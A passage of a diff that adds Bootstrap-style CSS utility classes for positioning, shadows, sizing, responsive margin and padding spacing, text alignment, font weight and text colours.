+  position: fixed;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  z-index: 1030;
+}
+
+@supports ((position: -webkit-sticky) or (position: sticky)) {
+  .sticky-top {
+    position: -webkit-sticky;
+    position: sticky;
+    top: 0;
+    z-index: 1020;
+  }
+}
+
+.sr-only {
+  position: absolute;
+  width: 1px;
+  height: 1px;
+  padding: 0;
+  overflow: hidden;
+  clip: rect(0, 0, 0, 0);
+  white-space: nowrap;
+  border: 0;
+}
+
+.sr-only-focusable:active, .sr-only-focusable:focus {
+  position: static;
+  width: auto;
+  height: auto;
+  overflow: visible;
+  clip: auto;
+  white-space: normal;
+}
+
+.shadow-sm {
+  box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;
+}
+
+.shadow {
+  box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;
+}
+
+.shadow-lg {
+  box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;
+}
+
+.shadow-none {
+  box-shadow: none !important;
+}
+
+.w-25 {
+  width: 25% !important;
+}
+
+.w-50 {
+  width: 50% !important;
+}
+
+.w-75 {
+  width: 75% !important;
+}
+
+.w-100 {
+  width: 100% !important;
+}
+
+.w-auto {
+  width: auto !important;
+}
+
+.h-25 {
+  height: 25% !important;
+}
+
+.h-50 {
+  height: 50% !important;
+}
+
+.h-75 {
+  height: 75% !important;
+}
+
+.h-100 {
+  height: 100% !important;
+}
+
+.h-auto {
+  height: auto !important;
+}
+
+.mw-100 {
+  max-width: 100% !important;
+}
+
+.mh-100 {
+  max-height: 100% !important;
+}
+
+.m-0 {
+  margin: 0 !important;
+}
+
+.mt-0,
+.my-0 {
+  margin-top: 0 !important;
+}
+
+.mr-0,
+.mx-0 {
+  margin-right: 0 !important;
+}
+
+.mb-0,
+.my-0 {
+  margin-bottom: 0 !important;
+}
+
+.ml-0,
+.mx-0 {
+  margin-left: 0 !important;
+}
+
+.m-1 {
+  margin: 0.25rem !important;
+}
+
+.mt-1,
+.my-1 {
+  margin-top: 0.25rem !important;
+}
+
+.mr-1,
+.mx-1 {
+  margin-right: 0.25rem !important;
+}
+
+.mb-1,
+.my-1 {
+  margin-bottom: 0.25rem !important;
+}
+
+.ml-1,
+.mx-1 {
+  margin-left: 0.25rem !important;
+}
+
+.m-2 {
+  margin: 0.5rem !important;
+}
+
+.mt-2,
+.my-2 {
+  margin-top: 0.5rem !important;
+}
+
+.mr-2,
+.mx-2 {
+  margin-right: 0.5rem !important;
+}
+
+.mb-2,
+.my-2 {
+  margin-bottom: 0.5rem !important;
+}
+
+.ml-2,
+.mx-2 {
+  margin-left: 0.5rem !important;
+}
+
+.m-3 {
+  margin: 1rem !important;
+}
+
+.mt-3,
+.my-3 {
+  margin-top: 1rem !important;
+}
+
+.mr-3,
+.mx-3 {
+  margin-right: 1rem !important;
+}
+
+.mb-3,
+.my-3 {
+  margin-bottom: 1rem !important;
+}
+
+.ml-3,
+.mx-3 {
+  margin-left: 1rem !important;
+}
+
+.m-4 {
+  margin: 1.5rem !important;
+}
+
+.mt-4,
+.my-4 {
+  margin-top: 1.5rem !important;
+}
+
+.mr-4,
+.mx-4 {
+  margin-right: 1.5rem !important;
+}
+
+.mb-4,
+.my-4 {
+  margin-bottom: 1.5rem !important;
+}
+
+.ml-4,
+.mx-4 {
+  margin-left: 1.5rem !important;
+}
+
+.m-5 {
+  margin: 3rem !important;
+}
+
+.mt-5,
+.my-5 {
+  margin-top: 3rem !important;
+}
+
+.mr-5,
+.mx-5 {
+  margin-right: 3rem !important;
+}
+
+.mb-5,
+.my-5 {
+  margin-bottom: 3rem !important;
+}
+
+.ml-5,
+.mx-5 {
+  margin-left: 3rem !important;
+}
+
+.p-0 {
+  padding: 0 !important;
+}
+
+.pt-0,
+.py-0 {
+  padding-top: 0 !important;
+}
+
+.pr-0,
+.px-0 {
+  padding-right: 0 !important;
+}
+
+.pb-0,
+.py-0 {
+  padding-bottom: 0 !important;
+}
+
+.pl-0,
+.px-0 {
+  padding-left: 0 !important;
+}
+
+.p-1 {
+  padding: 0.25rem !important;
+}
+
+.pt-1,
+.py-1 {
+  padding-top: 0.25rem !important;
+}
+
+.pr-1,
+.px-1 {
+  padding-right: 0.25rem !important;
+}
+
+.pb-1,
+.py-1 {
+  padding-bottom: 0.25rem !important;
+}
+
+.pl-1,
+.px-1 {
+  padding-left: 0.25rem !important;
+}
+
+.p-2 {
+  padding: 0.5rem !important;
+}
+
+.pt-2,
+.py-2 {
+  padding-top: 0.5rem !important;
+}
+
+.pr-2,
+.px-2 {
+  padding-right: 0.5rem !important;
+}
+
+.pb-2,
+.py-2 {
+  padding-bottom: 0.5rem !important;
+}
+
+.pl-2,
+.px-2 {
+  padding-left: 0.5rem !important;
+}
+
+.p-3 {
+  padding: 1rem !important;
+}
+
+.pt-3,
+.py-3 {
+  padding-top: 1rem !important;
+}
+
+.pr-3,
+.px-3 {
+  padding-right: 1rem !important;
+}
+
+.pb-3,
+.py-3 {
+  padding-bottom: 1rem !important;
+}
+
+.pl-3,
+.px-3 {
+  padding-left: 1rem !important;
+}
+
+.p-4 {
+  padding: 1.5rem !important;
+}
+
+.pt-4,
+.py-4 {
+  padding-top: 1.5rem !important;
+}
+
+.pr-4,
+.px-4 {
+  padding-right: 1.5rem !important;
+}
+
+.pb-4,
+.py-4 {
+  padding-bottom: 1.5rem !important;
+}
+
+.pl-4,
+.px-4 {
+  padding-left: 1.5rem !important;
+}
+
+.p-5 {
+  padding: 3rem !important;
+}
+
+.pt-5,
+.py-5 {
+  padding-top: 3rem !important;
+}
+
+.pr-5,
+.px-5 {
+  padding-right: 3rem !important;
+}
+
+.pb-5,
+.py-5 {
+  padding-bottom: 3rem !important;
+}
+
+.pl-5,
+.px-5 {
+  padding-left: 3rem !important;
+}
+
+.m-auto {
+  margin: auto !important;
+}
+
+.mt-auto,
+.my-auto {
+  margin-top: auto !important;
+}
+
+.mr-auto,
+.mx-auto {
+  margin-right: auto !important;
+}
+
+.mb-auto,
+.my-auto {
+  margin-bottom: auto !important;
+}
+
+.ml-auto,
+.mx-auto {
+  margin-left: auto !important;
+}
+
+@media (min-width: 576px) {
+  .m-sm-0 {
+    margin: 0 !important;
+  }
+  .mt-sm-0,
+  .my-sm-0 {
+    margin-top: 0 !important;
+  }
+  .mr-sm-0,
+  .mx-sm-0 {
+    margin-right: 0 !important;
+  }
+  .mb-sm-0,
+  .my-sm-0 {
+    margin-bottom: 0 !important;
+  }
+  .ml-sm-0,
+  .mx-sm-0 {
+    margin-left: 0 !important;
+  }
+  .m-sm-1 {
+    margin: 0.25rem !important;
+  }
+  .mt-sm-1,
+  .my-sm-1 {
+    margin-top: 0.25rem !important;
+  }
+  .mr-sm-1,
+  .mx-sm-1 {
+    margin-right: 0.25rem !important;
+  }
+  .mb-sm-1,
+  .my-sm-1 {
+    margin-bottom: 0.25rem !important;
+  }
+  .ml-sm-1,
+  .mx-sm-1 {
+    margin-left: 0.25rem !important;
+  }
+  .m-sm-2 {
+    margin: 0.5rem !important;
+  }
+  .mt-sm-2,
+  .my-sm-2 {
+    margin-top: 0.5rem !important;
+  }
+  .mr-sm-2,
+  .mx-sm-2 {
+    margin-right: 0.5rem !important;
+  }
+  .mb-sm-2,
+  .my-sm-2 {
+    margin-bottom: 0.5rem !important;
+  }
+  .ml-sm-2,
+  .mx-sm-2 {
+    margin-left: 0.5rem !important;
+  }
+  .m-sm-3 {
+    margin: 1rem !important;
+  }
+  .mt-sm-3,
+  .my-sm-3 {
+    margin-top: 1rem !important;
+  }
+  .mr-sm-3,
+  .mx-sm-3 {
+    margin-right: 1rem !important;
+  }
+  .mb-sm-3,
+  .my-sm-3 {
+    margin-bottom: 1rem !important;
+  }
+  .ml-sm-3,
+  .mx-sm-3 {
+    margin-left: 1rem !important;
+  }
+  .m-sm-4 {
+    margin: 1.5rem !important;
+  }
+  .mt-sm-4,
+  .my-sm-4 {
+    margin-top: 1.5rem !important;
+  }
+  .mr-sm-4,
+  .mx-sm-4 {
+    margin-right: 1.5rem !important;
+  }
+  .mb-sm-4,
+  .my-sm-4 {
+    margin-bottom: 1.5rem !important;
+  }
+  .ml-sm-4,
+  .mx-sm-4 {
+    margin-left: 1.5rem !important;
+  }
+  .m-sm-5 {
+    margin: 3rem !important;
+  }
+  .mt-sm-5,
+  .my-sm-5 {
+    margin-top: 3rem !important;
+  }
+  .mr-sm-5,
+  .mx-sm-5 {
+    margin-right: 3rem !important;
+  }
+  .mb-sm-5,
+  .my-sm-5 {
+    margin-bottom: 3rem !important;
+  }
+  .ml-sm-5,
+  .mx-sm-5 {
+    margin-left: 3rem !important;
+  }
+  .p-sm-0 {
+    padding: 0 !important;
+  }
+  .pt-sm-0,
+  .py-sm-0 {
+    padding-top: 0 !important;
+  }
+  .pr-sm-0,
+  .px-sm-0 {
+    padding-right: 0 !important;
+  }
+  .pb-sm-0,
+  .py-sm-0 {
+    padding-bottom: 0 !important;
+  }
+  .pl-sm-0,
+  .px-sm-0 {
+    padding-left: 0 !important;
+  }
+  .p-sm-1 {
+    padding: 0.25rem !important;
+  }
+  .pt-sm-1,
+  .py-sm-1 {
+    padding-top: 0.25rem !important;
+  }
+  .pr-sm-1,
+  .px-sm-1 {
+    padding-right: 0.25rem !important;
+  }
+  .pb-sm-1,
+  .py-sm-1 {
+    padding-bottom: 0.25rem !important;
+  }
+  .pl-sm-1,
+  .px-sm-1 {
+    padding-left: 0.25rem !important;
+  }
+  .p-sm-2 {
+    padding: 0.5rem !important;
+  }
+  .pt-sm-2,
+  .py-sm-2 {
+    padding-top: 0.5rem !important;
+  }
+  .pr-sm-2,
+  .px-sm-2 {
+    padding-right: 0.5rem !important;
+  }
+  .pb-sm-2,
+  .py-sm-2 {
+    padding-bottom: 0.5rem !important;
+  }
+  .pl-sm-2,
+  .px-sm-2 {
+    padding-left: 0.5rem !important;
+  }
+  .p-sm-3 {
+    padding: 1rem !important;
+  }
+  .pt-sm-3,
+  .py-sm-3 {
+    padding-top: 1rem !important;
+  }
+  .pr-sm-3,
+  .px-sm-3 {
+    padding-right: 1rem !important;
+  }
+  .pb-sm-3,
+  .py-sm-3 {
+    padding-bottom: 1rem !important;
+  }
+  .pl-sm-3,
+  .px-sm-3 {
+    padding-left: 1rem !important;
+  }
+  .p-sm-4 {
+    padding: 1.5rem !important;
+  }
+  .pt-sm-4,
+  .py-sm-4 {
+    padding-top: 1.5rem !important;
+  }
+  .pr-sm-4,
+  .px-sm-4 {
+    padding-right: 1.5rem !important;
+  }
+  .pb-sm-4,
+  .py-sm-4 {
+    padding-bottom: 1.5rem !important;
+  }
+  .pl-sm-4,
+  .px-sm-4 {
+    padding-left: 1.5rem !important;
+  }
+  .p-sm-5 {
+    padding: 3rem !important;
+  }
+  .pt-sm-5,
+  .py-sm-5 {
+    padding-top: 3rem !important;
+  }
+  .pr-sm-5,
+  .px-sm-5 {
+    padding-right: 3rem !important;
+  }
+  .pb-sm-5,
+  .py-sm-5 {
+    padding-bottom: 3rem !important;
+  }
+  .pl-sm-5,
+  .px-sm-5 {
+    padding-left: 3rem !important;
+  }
+  .m-sm-auto {
+    margin: auto !important;
+  }
+  .mt-sm-auto,
+  .my-sm-auto {
+    margin-top: auto !important;
+  }
+  .mr-sm-auto,
+  .mx-sm-auto {
+    margin-right: auto !important;
+  }
+  .mb-sm-auto,
+  .my-sm-auto {
+    margin-bottom: auto !important;
+  }
+  .ml-sm-auto,
+  .mx-sm-auto {
+    margin-left: auto !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .m-md-0 {
+    margin: 0 !important;
+  }
+  .mt-md-0,
+  .my-md-0 {
+    margin-top: 0 !important;
+  }
+  .mr-md-0,
+  .mx-md-0 {
+    margin-right: 0 !important;
+  }
+  .mb-md-0,
+  .my-md-0 {
+    margin-bottom: 0 !important;
+  }
+  .ml-md-0,
+  .mx-md-0 {
+    margin-left: 0 !important;
+  }
+  .m-md-1 {
+    margin: 0.25rem !important;
+  }
+  .mt-md-1,
+  .my-md-1 {
+    margin-top: 0.25rem !important;
+  }
+  .mr-md-1,
+  .mx-md-1 {
+    margin-right: 0.25rem !important;
+  }
+  .mb-md-1,
+  .my-md-1 {
+    margin-bottom: 0.25rem !important;
+  }
+  .ml-md-1,
+  .mx-md-1 {
+    margin-left: 0.25rem !important;
+  }
+  .m-md-2 {
+    margin: 0.5rem !important;
+  }
+  .mt-md-2,
+  .my-md-2 {
+    margin-top: 0.5rem !important;
+  }
+  .mr-md-2,
+  .mx-md-2 {
+    margin-right: 0.5rem !important;
+  }
+  .mb-md-2,
+  .my-md-2 {
+    margin-bottom: 0.5rem !important;
+  }
+  .ml-md-2,
+  .mx-md-2 {
+    margin-left: 0.5rem !important;
+  }
+  .m-md-3 {
+    margin: 1rem !important;
+  }
+  .mt-md-3,
+  .my-md-3 {
+    margin-top: 1rem !important;
+  }
+  .mr-md-3,
+  .mx-md-3 {
+    margin-right: 1rem !important;
+  }
+  .mb-md-3,
+  .my-md-3 {
+    margin-bottom: 1rem !important;
+  }
+  .ml-md-3,
+  .mx-md-3 {
+    margin-left: 1rem !important;
+  }
+  .m-md-4 {
+    margin: 1.5rem !important;
+  }
+  .mt-md-4,
+  .my-md-4 {
+    margin-top: 1.5rem !important;
+  }
+  .mr-md-4,
+  .mx-md-4 {
+    margin-right: 1.5rem !important;
+  }
+  .mb-md-4,
+  .my-md-4 {
+    margin-bottom: 1.5rem !important;
+  }
+  .ml-md-4,
+  .mx-md-4 {
+    margin-left: 1.5rem !important;
+  }
+  .m-md-5 {
+    margin: 3rem !important;
+  }
+  .mt-md-5,
+  .my-md-5 {
+    margin-top: 3rem !important;
+  }
+  .mr-md-5,
+  .mx-md-5 {
+    margin-right: 3rem !important;
+  }
+  .mb-md-5,
+  .my-md-5 {
+    margin-bottom: 3rem !important;
+  }
+  .ml-md-5,
+  .mx-md-5 {
+    margin-left: 3rem !important;
+  }
+  .p-md-0 {
+    padding: 0 !important;
+  }
+  .pt-md-0,
+  .py-md-0 {
+    padding-top: 0 !important;
+  }
+  .pr-md-0,
+  .px-md-0 {
+    padding-right: 0 !important;
+  }
+  .pb-md-0,
+  .py-md-0 {
+    padding-bottom: 0 !important;
+  }
+  .pl-md-0,
+  .px-md-0 {
+    padding-left: 0 !important;
+  }
+  .p-md-1 {
+    padding: 0.25rem !important;
+  }
+  .pt-md-1,
+  .py-md-1 {
+    padding-top: 0.25rem !important;
+  }
+  .pr-md-1,
+  .px-md-1 {
+    padding-right: 0.25rem !important;
+  }
+  .pb-md-1,
+  .py-md-1 {
+    padding-bottom: 0.25rem !important;
+  }
+  .pl-md-1,
+  .px-md-1 {
+    padding-left: 0.25rem !important;
+  }
+  .p-md-2 {
+    padding: 0.5rem !important;
+  }
+  .pt-md-2,
+  .py-md-2 {
+    padding-top: 0.5rem !important;
+  }
+  .pr-md-2,
+  .px-md-2 {
+    padding-right: 0.5rem !important;
+  }
+  .pb-md-2,
+  .py-md-2 {
+    padding-bottom: 0.5rem !important;
+  }
+  .pl-md-2,
+  .px-md-2 {
+    padding-left: 0.5rem !important;
+  }
+  .p-md-3 {
+    padding: 1rem !important;
+  }
+  .pt-md-3,
+  .py-md-3 {
+    padding-top: 1rem !important;
+  }
+  .pr-md-3,
+  .px-md-3 {
+    padding-right: 1rem !important;
+  }
+  .pb-md-3,
+  .py-md-3 {
+    padding-bottom: 1rem !important;
+  }
+  .pl-md-3,
+  .px-md-3 {
+    padding-left: 1rem !important;
+  }
+  .p-md-4 {
+    padding: 1.5rem !important;
+  }
+  .pt-md-4,
+  .py-md-4 {
+    padding-top: 1.5rem !important;
+  }
+  .pr-md-4,
+  .px-md-4 {
+    padding-right: 1.5rem !important;
+  }
+  .pb-md-4,
+  .py-md-4 {
+    padding-bottom: 1.5rem !important;
+  }
+  .pl-md-4,
+  .px-md-4 {
+    padding-left: 1.5rem !important;
+  }
+  .p-md-5 {
+    padding: 3rem !important;
+  }
+  .pt-md-5,
+  .py-md-5 {
+    padding-top: 3rem !important;
+  }
+  .pr-md-5,
+  .px-md-5 {
+    padding-right: 3rem !important;
+  }
+  .pb-md-5,
+  .py-md-5 {
+    padding-bottom: 3rem !important;
+  }
+  .pl-md-5,
+  .px-md-5 {
+    padding-left: 3rem !important;
+  }
+  .m-md-auto {
+    margin: auto !important;
+  }
+  .mt-md-auto,
+  .my-md-auto {
+    margin-top: auto !important;
+  }
+  .mr-md-auto,
+  .mx-md-auto {
+    margin-right: auto !important;
+  }
+  .mb-md-auto,
+  .my-md-auto {
+    margin-bottom: auto !important;
+  }
+  .ml-md-auto,
+  .mx-md-auto {
+    margin-left: auto !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .m-lg-0 {
+    margin: 0 !important;
+  }
+  .mt-lg-0,
+  .my-lg-0 {
+    margin-top: 0 !important;
+  }
+  .mr-lg-0,
+  .mx-lg-0 {
+    margin-right: 0 !important;
+  }
+  .mb-lg-0,
+  .my-lg-0 {
+    margin-bottom: 0 !important;
+  }
+  .ml-lg-0,
+  .mx-lg-0 {
+    margin-left: 0 !important;
+  }
+  .m-lg-1 {
+    margin: 0.25rem !important;
+  }
+  .mt-lg-1,
+  .my-lg-1 {
+    margin-top: 0.25rem !important;
+  }
+  .mr-lg-1,
+  .mx-lg-1 {
+    margin-right: 0.25rem !important;
+  }
+  .mb-lg-1,
+  .my-lg-1 {
+    margin-bottom: 0.25rem !important;
+  }
+  .ml-lg-1,
+  .mx-lg-1 {
+    margin-left: 0.25rem !important;
+  }
+  .m-lg-2 {
+    margin: 0.5rem !important;
+  }
+  .mt-lg-2,
+  .my-lg-2 {
+    margin-top: 0.5rem !important;
+  }
+  .mr-lg-2,
+  .mx-lg-2 {
+    margin-right: 0.5rem !important;
+  }
+  .mb-lg-2,
+  .my-lg-2 {
+    margin-bottom: 0.5rem !important;
+  }
+  .ml-lg-2,
+  .mx-lg-2 {
+    margin-left: 0.5rem !important;
+  }
+  .m-lg-3 {
+    margin: 1rem !important;
+  }
+  .mt-lg-3,
+  .my-lg-3 {
+    margin-top: 1rem !important;
+  }
+  .mr-lg-3,
+  .mx-lg-3 {
+    margin-right: 1rem !important;
+  }
+  .mb-lg-3,
+  .my-lg-3 {
+    margin-bottom: 1rem !important;
+  }
+  .ml-lg-3,
+  .mx-lg-3 {
+    margin-left: 1rem !important;
+  }
+  .m-lg-4 {
+    margin: 1.5rem !important;
+  }
+  .mt-lg-4,
+  .my-lg-4 {
+    margin-top: 1.5rem !important;
+  }
+  .mr-lg-4,
+  .mx-lg-4 {
+    margin-right: 1.5rem !important;
+  }
+  .mb-lg-4,
+  .my-lg-4 {
+    margin-bottom: 1.5rem !important;
+  }
+  .ml-lg-4,
+  .mx-lg-4 {
+    margin-left: 1.5rem !important;
+  }
+  .m-lg-5 {
+    margin: 3rem !important;
+  }
+  .mt-lg-5,
+  .my-lg-5 {
+    margin-top: 3rem !important;
+  }
+  .mr-lg-5,
+  .mx-lg-5 {
+    margin-right: 3rem !important;
+  }
+  .mb-lg-5,
+  .my-lg-5 {
+    margin-bottom: 3rem !important;
+  }
+  .ml-lg-5,
+  .mx-lg-5 {
+    margin-left: 3rem !important;
+  }
+  .p-lg-0 {
+    padding: 0 !important;
+  }
+  .pt-lg-0,
+  .py-lg-0 {
+    padding-top: 0 !important;
+  }
+  .pr-lg-0,
+  .px-lg-0 {
+    padding-right: 0 !important;
+  }
+  .pb-lg-0,
+  .py-lg-0 {
+    padding-bottom: 0 !important;
+  }
+  .pl-lg-0,
+  .px-lg-0 {
+    padding-left: 0 !important;
+  }
+  .p-lg-1 {
+    padding: 0.25rem !important;
+  }
+  .pt-lg-1,
+  .py-lg-1 {
+    padding-top: 0.25rem !important;
+  }
+  .pr-lg-1,
+  .px-lg-1 {
+    padding-right: 0.25rem !important;
+  }
+  .pb-lg-1,
+  .py-lg-1 {
+    padding-bottom: 0.25rem !important;
+  }
+  .pl-lg-1,
+  .px-lg-1 {
+    padding-left: 0.25rem !important;
+  }
+  .p-lg-2 {
+    padding: 0.5rem !important;
+  }
+  .pt-lg-2,
+  .py-lg-2 {
+    padding-top: 0.5rem !important;
+  }
+  .pr-lg-2,
+  .px-lg-2 {
+    padding-right: 0.5rem !important;
+  }
+  .pb-lg-2,
+  .py-lg-2 {
+    padding-bottom: 0.5rem !important;
+  }
+  .pl-lg-2,
+  .px-lg-2 {
+    padding-left: 0.5rem !important;
+  }
+  .p-lg-3 {
+    padding: 1rem !important;
+  }
+  .pt-lg-3,
+  .py-lg-3 {
+    padding-top: 1rem !important;
+  }
+  .pr-lg-3,
+  .px-lg-3 {
+    padding-right: 1rem !important;
+  }
+  .pb-lg-3,
+  .py-lg-3 {
+    padding-bottom: 1rem !important;
+  }
+  .pl-lg-3,
+  .px-lg-3 {
+    padding-left: 1rem !important;
+  }
+  .p-lg-4 {
+    padding: 1.5rem !important;
+  }
+  .pt-lg-4,
+  .py-lg-4 {
+    padding-top: 1.5rem !important;
+  }
+  .pr-lg-4,
+  .px-lg-4 {
+    padding-right: 1.5rem !important;
+  }
+  .pb-lg-4,
+  .py-lg-4 {
+    padding-bottom: 1.5rem !important;
+  }
+  .pl-lg-4,
+  .px-lg-4 {
+    padding-left: 1.5rem !important;
+  }
+  .p-lg-5 {
+    padding: 3rem !important;
+  }
+  .pt-lg-5,
+  .py-lg-5 {
+    padding-top: 3rem !important;
+  }
+  .pr-lg-5,
+  .px-lg-5 {
+    padding-right: 3rem !important;
+  }
+  .pb-lg-5,
+  .py-lg-5 {
+    padding-bottom: 3rem !important;
+  }
+  .pl-lg-5,
+  .px-lg-5 {
+    padding-left: 3rem !important;
+  }
+  .m-lg-auto {
+    margin: auto !important;
+  }
+  .mt-lg-auto,
+  .my-lg-auto {
+    margin-top: auto !important;
+  }
+  .mr-lg-auto,
+  .mx-lg-auto {
+    margin-right: auto !important;
+  }
+  .mb-lg-auto,
+  .my-lg-auto {
+    margin-bottom: auto !important;
+  }
+  .ml-lg-auto,
+  .mx-lg-auto {
+    margin-left: auto !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .m-xl-0 {
+    margin: 0 !important;
+  }
+  .mt-xl-0,
+  .my-xl-0 {
+    margin-top: 0 !important;
+  }
+  .mr-xl-0,
+  .mx-xl-0 {
+    margin-right: 0 !important;
+  }
+  .mb-xl-0,
+  .my-xl-0 {
+    margin-bottom: 0 !important;
+  }
+  .ml-xl-0,
+  .mx-xl-0 {
+    margin-left: 0 !important;
+  }
+  .m-xl-1 {
+    margin: 0.25rem !important;
+  }
+  .mt-xl-1,
+  .my-xl-1 {
+    margin-top: 0.25rem !important;
+  }
+  .mr-xl-1,
+  .mx-xl-1 {
+    margin-right: 0.25rem !important;
+  }
+  .mb-xl-1,
+  .my-xl-1 {
+    margin-bottom: 0.25rem !important;
+  }
+  .ml-xl-1,
+  .mx-xl-1 {
+    margin-left: 0.25rem !important;
+  }
+  .m-xl-2 {
+    margin: 0.5rem !important;
+  }
+  .mt-xl-2,
+  .my-xl-2 {
+    margin-top: 0.5rem !important;
+  }
+  .mr-xl-2,
+  .mx-xl-2 {
+    margin-right: 0.5rem !important;
+  }
+  .mb-xl-2,
+  .my-xl-2 {
+    margin-bottom: 0.5rem !important;
+  }
+  .ml-xl-2,
+  .mx-xl-2 {
+    margin-left: 0.5rem !important;
+  }
+  .m-xl-3 {
+    margin: 1rem !important;
+  }
+  .mt-xl-3,
+  .my-xl-3 {
+    margin-top: 1rem !important;
+  }
+  .mr-xl-3,
+  .mx-xl-3 {
+    margin-right: 1rem !important;
+  }
+  .mb-xl-3,
+  .my-xl-3 {
+    margin-bottom: 1rem !important;
+  }
+  .ml-xl-3,
+  .mx-xl-3 {
+    margin-left: 1rem !important;
+  }
+  .m-xl-4 {
+    margin: 1.5rem !important;
+  }
+  .mt-xl-4,
+  .my-xl-4 {
+    margin-top: 1.5rem !important;
+  }
+  .mr-xl-4,
+  .mx-xl-4 {
+    margin-right: 1.5rem !important;
+  }
+  .mb-xl-4,
+  .my-xl-4 {
+    margin-bottom: 1.5rem !important;
+  }
+  .ml-xl-4,
+  .mx-xl-4 {
+    margin-left: 1.5rem !important;
+  }
+  .m-xl-5 {
+    margin: 3rem !important;
+  }
+  .mt-xl-5,
+  .my-xl-5 {
+    margin-top: 3rem !important;
+  }
+  .mr-xl-5,
+  .mx-xl-5 {
+    margin-right: 3rem !important;
+  }
+  .mb-xl-5,
+  .my-xl-5 {
+    margin-bottom: 3rem !important;
+  }
+  .ml-xl-5,
+  .mx-xl-5 {
+    margin-left: 3rem !important;
+  }
+  .p-xl-0 {
+    padding: 0 !important;
+  }
+  .pt-xl-0,
+  .py-xl-0 {
+    padding-top: 0 !important;
+  }
+  .pr-xl-0,
+  .px-xl-0 {
+    padding-right: 0 !important;
+  }
+  .pb-xl-0,
+  .py-xl-0 {
+    padding-bottom: 0 !important;
+  }
+  .pl-xl-0,
+  .px-xl-0 {
+    padding-left: 0 !important;
+  }
+  .p-xl-1 {
+    padding: 0.25rem !important;
+  }
+  .pt-xl-1,
+  .py-xl-1 {
+    padding-top: 0.25rem !important;
+  }
+  .pr-xl-1,
+  .px-xl-1 {
+    padding-right: 0.25rem !important;
+  }
+  .pb-xl-1,
+  .py-xl-1 {
+    padding-bottom: 0.25rem !important;
+  }
+  .pl-xl-1,
+  .px-xl-1 {
+    padding-left: 0.25rem !important;
+  }
+  .p-xl-2 {
+    padding: 0.5rem !important;
+  }
+  .pt-xl-2,
+  .py-xl-2 {
+    padding-top: 0.5rem !important;
+  }
+  .pr-xl-2,
+  .px-xl-2 {
+    padding-right: 0.5rem !important;
+  }
+  .pb-xl-2,
+  .py-xl-2 {
+    padding-bottom: 0.5rem !important;
+  }
+  .pl-xl-2,
+  .px-xl-2 {
+    padding-left: 0.5rem !important;
+  }
+  .p-xl-3 {
+    padding: 1rem !important;
+  }
+  .pt-xl-3,
+  .py-xl-3 {
+    padding-top: 1rem !important;
+  }
+  .pr-xl-3,
+  .px-xl-3 {
+    padding-right: 1rem !important;
+  }
+  .pb-xl-3,
+  .py-xl-3 {
+    padding-bottom: 1rem !important;
+  }
+  .pl-xl-3,
+  .px-xl-3 {
+    padding-left: 1rem !important;
+  }
+  .p-xl-4 {
+    padding: 1.5rem !important;
+  }
+  .pt-xl-4,
+  .py-xl-4 {
+    padding-top: 1.5rem !important;
+  }
+  .pr-xl-4,
+  .px-xl-4 {
+    padding-right: 1.5rem !important;
+  }
+  .pb-xl-4,
+  .py-xl-4 {
+    padding-bottom: 1.5rem !important;
+  }
+  .pl-xl-4,
+  .px-xl-4 {
+    padding-left: 1.5rem !important;
+  }
+  .p-xl-5 {
+    padding: 3rem !important;
+  }
+  .pt-xl-5,
+  .py-xl-5 {
+    padding-top: 3rem !important;
+  }
+  .pr-xl-5,
+  .px-xl-5 {
+    padding-right: 3rem !important;
+  }
+  .pb-xl-5,
+  .py-xl-5 {
+    padding-bottom: 3rem !important;
+  }
+  .pl-xl-5,
+  .px-xl-5 {
+    padding-left: 3rem !important;
+  }
+  .m-xl-auto {
+    margin: auto !important;
+  }
+  .mt-xl-auto,
+  .my-xl-auto {
+    margin-top: auto !important;
+  }
+  .mr-xl-auto,
+  .mx-xl-auto {
+    margin-right: auto !important;
+  }
+  .mb-xl-auto,
+  .my-xl-auto {
+    margin-bottom: auto !important;
+  }
+  .ml-xl-auto,
+  .mx-xl-auto {
+    margin-left: auto !important;
+  }
+}
+
+.text-monospace {
+  font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+}
+
+.text-justify {
+  text-align: justify !important;
+}
+
+.text-nowrap {
+  white-space: nowrap !important;
+}
+
+.text-truncate {
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.text-left {
+  text-align: left !important;
+}
+
+.text-right {
+  text-align: right !important;
+}
+
+.text-center {
+  text-align: center !important;
+}
+
+@media (min-width: 576px) {
+  .text-sm-left {
+    text-align: left !important;
+  }
+  .text-sm-right {
+    text-align: right !important;
+  }
+  .text-sm-center {
+    text-align: center !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .text-md-left {
+    text-align: left !important;
+  }
+  .text-md-right {
+    text-align: right !important;
+  }
+  .text-md-center {
+    text-align: center !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .text-lg-left {
+    text-align: left !important;
+  }
+  .text-lg-right {
+    text-align: right !important;
+  }
+  .text-lg-center {
+    text-align: center !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .text-xl-left {
+    text-align: left !important;
+  }
+  .text-xl-right {
+    text-align: right !important;
+  }
+  .text-xl-center {
+    text-align: center !important;
+  }
+}
+
+.text-lowercase {
+  text-transform: lowercase !important;
+}
+
+.text-uppercase {
+  text-transform: uppercase !important;
+}
+
+.text-capitalize {
+  text-transform: capitalize !important;
+}
+
+.font-weight-light {
+  font-weight: 300 !important;
+}
+
+.font-weight-normal {
+  font-weight: 400 !important;
+}
+
+.font-weight-bold {
+  font-weight: 700 !important;
+}
+
+.font-italic {
+  font-style: italic !important;
+}
+
+.text-white {
+  color: #fff !important;
+}
+
+.text-primary {
+  color: #007bff !important;
+}
+
+a.text-primary:hover, a.text-primary:focus {
+  color: #0062cc !important;
+}
+
+.text-secondary {
+  color: #6c757d !important;
+}
+
+a.text-secondary:hover, a.text-secondary:focus {
+  color: #545b62 !important;
+}
+
+.text-success {
+  color: #28a745 !important;
+}
+
+a.text-success:hover, a.text-success:focus {
+  color: #1e7e34 !important;
+}
+
+.text-info {
+  color: #17a2b8 !important;
+}
+
+a.text-info:hover, a.text-info:focus {
+  color: #117a8b !important;
+}
+
+.text-warning {
+  color: #ffc107 !important;
+}
+
